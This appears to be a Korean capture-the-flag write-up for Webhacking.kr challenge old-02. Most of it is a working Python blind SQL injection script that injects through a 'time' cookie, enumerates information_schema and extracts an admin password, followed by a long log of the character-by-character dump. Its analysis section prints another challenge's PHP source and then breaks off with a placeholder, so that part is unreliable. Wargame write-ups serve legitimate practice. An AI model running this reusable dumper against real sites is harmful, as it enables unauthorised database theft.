old-02
bindon
2019-12-06
Webhacking.kr
Problem Analysis
문제를 확인하면, 이 페이지에서는 사용자의 입력을 받는 부분이 따로 나타나지 않기 때문에, 바로 view-source 링크를 클릭하여 코드를 확인합니다.
<?php
include "../../config.php";
if($_GET['view-source'] == 1){ view_source(); }
if(!$_COOKIE['user_lv']){
SetCookie("user_lv","1",time()+86400*30,"/challenge/web-01/");
echo("<meta http-equiv=refresh content=0>");
}
?>
<html>
<head>
<title>Challenge 1</title>
</head>
<body bgcolor=black>
<center>
<br><br><br><br><br>
<font color=white>
---------------------<br>
<?php
if(!is_numeric($_COOKIE['user_lv'])) $_COOKIE['user_lv']=1;
if($_COOKIE['user_lv']>=6) $_COOKIE['user_lv']=1;
if($_COOKIE['user_lv']>5) solve(1);
echo "<br>level : {$_COOKIE['user_lv']}";
?>
<br>
<a href=./?view-source=1>view-source</a>
</body>
</html>
작성 예정입니다. ***
Implementation
import requests
import login
import sys
def blindSqlInjection(iteration, sql):
print "[*] SQL: " + sql
result = None
originalTime = session.cookies["time"]
for idx in iteration:
cookies = { "time": originalTime + " AND (" + sql.format(idx=hex(idx)) + ")" }
response = requests.get(url=url, cookies=cookies)
if trueString in response.text:
print "[!] Found it: " + str(idx)
result = idx
break
return result
def getAdminPassword():
adminPassword = None
print "[*] Find Database Count"
databaseCount = blindSqlInjection(range(1, 20), "SELECT count(distinct(table_schema))={idx} FROM information_schema.tables")
for databaseIndex in range(databaseCount):
print "[*] Find Database Name Length"
databaseNameLength = blindSqlInjection(range(1, 20), "SELECT length(table_schema)={idx} FROM information_schema.tables GROUP BY table_schema LIMIT %d, 1" % databaseIndex)
if databaseNameLength == len("information_schema"):
print "[-] Skip information_schema"
continue
print "[*] Find Database Name"
databaseName = ""
for databaseNameIndex in range(1, databaseNameLength+1):
databaseName += chr(blindSqlInjection(range(0x5c, 0x7f) + range(0x20, 0x39), "SELECT substr(table_schema, %d, 1)={idx} FROM information_schema.tables GROUP BY table_schema LIMIT %d, 1" % (databaseNameIndex, databaseIndex)))
print "[+] Database Name: " + databaseName
print "[*] Find Table Count"
tableCount = blindSqlInjection(range(1, 20), "SELECT count(table_name)={idx} FROM information_schema.tables WHERE table_schema = '%s'" % databaseName)
print "[+] Table Count: " + str(tableCount)
print "[*] Find Table Name Length"
for tableIndex in range(tableCount):
tableNameLength = blindSqlInjection(range(1, 20), "SELECT length(table_name)={idx} FROM information_schema.tables WHERE table_schema = '%s' LIMIT %d, 1" % (databaseName, tableIndex))
print "[+] Table Name Length: " + str(tableNameLength)
print "[*] Find Table Name"
tableName = ""
for tableNameIndex in range(1, tableNameLength+1):
tableName += chr(blindSqlInjection(range(0x5c, 0x7f) + range(0x20, 0x39), "SELECT substr(table_name, %d, 1)={idx} FROM information_schema.tables WHERE table_schema = '%s' LIMIT %d, 1" % (tableNameIndex, databaseName, tableIndex)))
print "[+] Table Name: " + tableName
print "[*] Find Column Count"
columnCount = blindSqlInjection(range(1, 20), "SELECT count(table_name)={idx} FROM information_schema.columns WHERE table_schema='%s' AND table_name = '%s'" % (databaseName, tableName))
print "[+] Column Count: " + str(columnCount)
print "[*] Find Column Name Length"
for columnIndex in range(columnCount):
columnNameLength = blindSqlInjection(range(1, 20), "SELECT length(column_name)={idx} FROM information_schema.columns WHERE table_schema='%s' AND table_name = '%s'" % (databaseName, tableName))
print "[*] Find Column Name"
columnName = ""
for columnNameIndex in range(1, columnNameLength+1):
columnName += chr(blindSqlInjection(range(0x5c, 0x7f) + range(0x20, 0x39), "SELECT substr(column_name, %d, 1)={idx} FROM information_schema.columns WHERE table_schema='%s' AND table_name = '%s' LIMIT %d, 1" % (columnNameIndex, databaseName, tableName, columnIndex)))
print "[+] Column Name: " + columnName
print "[*] Find Data Count"
dataCount = blindSqlInjection(range(1, 20), "SELECT count(*)={idx} FROM %s.%s" % (databaseName, tableName))
print "[+] Data Count: " + str(dataCount)
print "[*] Find Data Name Length"
for dataIndex in range(dataCount):
dataNameLength = blindSqlInjection(range(1, 20), "SELECT length(%s)={idx} FROM %s.%s LIMIT %d, 1" % (columnName, databaseName, tableName, dataIndex))
print "[+] Data Name Length: " + str(dataNameLength)
dataName = ""
for dataNameIndex in range(1, dataNameLength+1):
dataName += chr(blindSqlInjection(range(0x5c, 0x7f) + range(0x20, 0x39), "SELECT substr(%s, %d, 1)={idx} FROM %s.%s LIMIT %d, 1" % (columnName, dataNameIndex, databaseName, tableName, dataIndex)))
if "beist" in dataName:
print "[!] Admin Password: " + dataName
return dataName
return adminPassword
if __name__ == "__main__":
print "[+] Login and get session"
session = login.getLoginSession()
print "[+] Set URL"
url = "https://webhacking.kr/challenge/web-02/"
print "[*] " + url
print "[+] Get default cookies"
session.get(url)
print "[*] Expected SQL: SELECT from_unixtime($_COOKIE[\"time\"])"
print "[*] Expected Return"
print "[-] False: 09:00:00"
print "[+] True: 09:00:01"
trueString = "09:00:01"
adminPassword = getAdminPassword()
response = session.post(url+"admin.php", data={"pw": adminPassword})
print response.text
Execution Result
[+] Login and get session
[+] Set URL
[*] https://webhacking.kr/challenge/web-02/
[+] Get default cookies
[*] Expected SQL: SELECT from_unixtime($_COOKIE["time"])
[*] Expected Return
[-] False: 09:00:00
[+] True: 09:00:01
[*] Find Database Count
[*] SQL: SELECT count(distinct(table_schema))={idx} FROM information_schema.tables
[!] Found it: 2
[*] Find Database Name Length
[*] SQL: SELECT length(table_schema)={idx} FROM information_schema.tables GROUP BY table_schema LIMIT 0, 1
[!] Found it: 6
[*] Find Database Name
[*] SQL: SELECT substr(table_schema, 1, 1)={idx} FROM information_schema.tables GROUP BY table_schema LIMIT 0, 1
[!] Found it: 99
[*] SQL: SELECT substr(table_schema, 2, 1)={idx} FROM information_schema.tables GROUP BY table_schema LIMIT 0, 1
[!] Found it: 104
[*] SQL: SELECT substr(table_schema, 3, 1)={idx} FROM information_schema.tables GROUP BY table_schema LIMIT 0, 1
[!] Found it: 97
[*] SQL: SELECT substr(table_schema, 4, 1)={idx} FROM information_schema.tables GROUP BY table_schema LIMIT 0, 1
[!] Found it: 108
[*] SQL: SELECT substr(table_schema, 5, 1)={idx} FROM information_schema.tables GROUP BY table_schema LIMIT 0, 1
[!] Found it: 108
[*] SQL: SELECT substr(table_schema, 6, 1)={idx} FROM information_schema.tables GROUP BY table_schema LIMIT 0, 1
[!] Found it: 50
[+] Database Name: chall2
[*] Find Table Count
[*] SQL: SELECT count(table_name)={idx} FROM information_schema.tables WHERE table_schema = 'chall2'
[!] Found it: 2
[+] Table Count: 2
[*] Find Table Name Length
[*] SQL: SELECT length(table_name)={idx} FROM information_schema.tables WHERE table_schema = 'chall2' LIMIT 0, 1
[!] Found it: 13
[+] Table Name Length: 13
[*] Find Table Name
[*] SQL: SELECT substr(table_name, 1, 1)={idx} FROM information_schema.tables WHERE table_schema = 'chall2' LIMIT 0, 1
[!] Found it: 97
[*] SQL: SELECT substr(table_name, 2, 1)={idx} FROM information_schema.tables WHERE table_schema = 'chall2' LIMIT 0, 1
[!] Found it: 100
[*] SQL: SELECT substr(table_name, 3, 1)={idx} FROM information_schema.tables WHERE table_schema = 'chall2' LIMIT 0, 1
[!] Found it: 109
[*] SQL: SELECT substr(table_name, 4, 1)={idx} FROM information_schema.tables WHERE table_schema = 'chall2' LIMIT 0, 1
[!] Found it: 105
[*] SQL: SELECT substr(table_name, 5, 1)={idx} FROM information_schema.tables WHERE table_schema = 'chall2' LIMIT 0, 1
[!] Found it: 110
[*] SQL: SELECT substr(table_name, 6, 1)={idx} FROM information_schema.tables WHERE table_schema = 'chall2' LIMIT 0, 1
[!] Found it: 95
[*] SQL: SELECT substr(table_name, 7, 1)={idx} FROM information_schema.tables WHERE table_schema = 'chall2' LIMIT 0, 1
[!] Found it: 97
[*] SQL: SELECT substr(table_name, 8, 1)={idx} FROM information_schema.tables WHERE table_schema = 'chall2' LIMIT 0, 1
[!] Found it: 114
[*] SQL: SELECT substr(table_name, 9, 1)={idx} FROM information_schema.tables WHERE table_schema = 'chall2' LIMIT 0, 1
[!] Found it: 101
[*] SQL: SELECT substr(table_name, 10, 1)={idx} FROM information_schema.tables WHERE table_schema = 'chall2' LIMIT 0, 1
[!] Found it: 97
[*] SQL: SELECT substr(table_name, 11, 1)={idx} FROM information_schema.tables WHERE table_schema = 'chall2' LIMIT 0, 1
[!] Found it: 95
[*] SQL: SELECT substr(table_name, 12, 1)={idx} FROM information_schema.tables WHERE table_schema = 'chall2' LIMIT 0, 1
[!] Found it: 112
[*] SQL: SELECT substr(table_name, 13, 1)={idx} FROM information_schema.tables WHERE table_schema = 'chall2' LIMIT 0, 1
[!] Found it: 119
[+] Table Name: admin_area_pw
[*] Find Column Count
[*] SQL: SELECT count(table_name)={idx} FROM information_schema.columns WHERE table_schema='chall2' AND table_name = 'admin_area_pw'
[!] Found it: 1
[+] Column Count: 1
[*] Find Column Name Length
[*] SQL: SELECT length(column_name)={idx} FROM information_schema.columns WHERE table_schema='chall2' AND table_name = 'admin_area_pw'
[!] Found it: 2
[*] Find Column Name
[*] SQL: SELECT substr(column_name, 1, 1)={idx} FROM information_schema.columns WHERE table_schema='chall2' AND table_name = 'admin_area_pw' LIMIT 0, 1
[!] Found it: 112
[*] SQL: SELECT substr(column_name, 2, 1)={idx} FROM information_schema.columns WHERE table_schema='chall2' AND table_name = 'admin_area_pw' LIMIT 0, 1
[!] Found it: 119
[+] Column Name: pw
[*] Find Data Count
[*] SQL: SELECT count(*)={idx} FROM chall2.admin_area_pw
[!] Found it: 1
[+] Data Count: 1
[*] Find Data Name Length
[*] SQL: SELECT length(pw)={idx} FROM chall2.admin_area_pw LIMIT 0, 1
[!] Found it: 17
[+] Data Name Length: 17
[*] SQL: SELECT substr(pw, 1, 1)={idx} FROM chall2.admin_area_pw LIMIT 0, 1
[!] Found it: 107
[*] SQL: SELECT substr(pw, 2, 1)={idx} FROM chall2.admin_area_pw LIMIT 0, 1
[!] Found it: 117
[*] SQL: SELECT substr(pw, 3, 1)={idx} FROM chall2.admin_area_pw LIMIT 0, 1
[!] Found it: 100
[*] SQL: SELECT substr(pw, 4, 1)={idx} FROM chall2.admin_area_pw LIMIT 0, 1
[!] Found it: 111
[*] SQL: SELECT substr(pw, 5, 1)={idx} FROM chall2.admin_area_pw LIMIT 0, 1
[!] Found it: 115
[*] SQL: SELECT substr(pw, 6, 1)={idx} FROM chall2.admin_area_pw LIMIT 0, 1
[!] Found it: 95
[*] SQL: SELECT substr(pw, 7, 1)={idx} FROM chall2.admin_area_pw LIMIT 0, 1
[!] Found it: 116
[*] SQL: SELECT substr(pw, 8, 1)={idx} FROM chall2.admin_area_pw LIMIT 0, 1
[!] Found it: 111
[*] SQL: SELECT substr(pw, 9, 1)={idx} FROM chall2.admin_area_pw LIMIT 0, 1
[!] Found it: 95
[*] SQL: SELECT substr(pw, 10, 1)={idx} FROM chall2.admin_area_pw LIMIT 0, 1
[!] Found it: 98
[*] SQL: SELECT substr(pw, 11, 1)={idx} FROM chall2.admin_area_pw LIMIT 0, 1
[!] Found it: 101
[*] SQL: SELECT substr(pw, 12, 1)={idx} FROM chall2.admin_area_pw LIMIT 0, 1
[!] Found it: 105
[*] SQL: SELECT substr(pw, 13, 1)={idx} FROM chall2.admin_area_pw LIMIT 0, 1
[!] Found it: 115
[*] SQL: SELECT substr(pw, 14, 1)={idx} FROM chall2.admin_area_pw LIMIT 0, 1
[!] Found it: 116
[*] SQL: SELECT substr(pw, 15, 1)={idx} FROM chall2.admin_area_pw LIMIT 0, 1
[!] Found it: 108
[*] SQL: SELECT substr(pw, 16, 1)={idx} FROM chall2.admin_area_pw LIMIT 0, 1
[!] Found it: 97
[*] SQL: SELECT substr(pw, 17, 1)={idx} FROM chall2.admin_area_pw LIMIT 0, 1
[!] Found it: 98
[!] Admin Password: kudos_to_beistlab